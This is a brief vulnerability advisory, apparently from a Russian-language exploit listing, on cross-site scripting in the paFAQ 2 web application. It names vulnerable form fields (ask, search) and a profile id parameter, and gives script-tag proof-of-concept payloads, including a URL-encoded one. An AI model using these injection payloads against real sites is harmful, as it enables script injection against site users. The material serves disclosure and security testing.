paFAQ 2 XSS

[p-range]

» XSS

[1]

http://host/pafaq/index.php?act=ask
вводим:
<script>alert('preved');</script>
http://host/pafaq/index.php?act=search
Вводим:
<script>alert('preved');</script>

[2]

http://host/pafaq//index.php?act=profile&id=%22%3E%3Cscript%3Ealert('preved');%3C/script%3E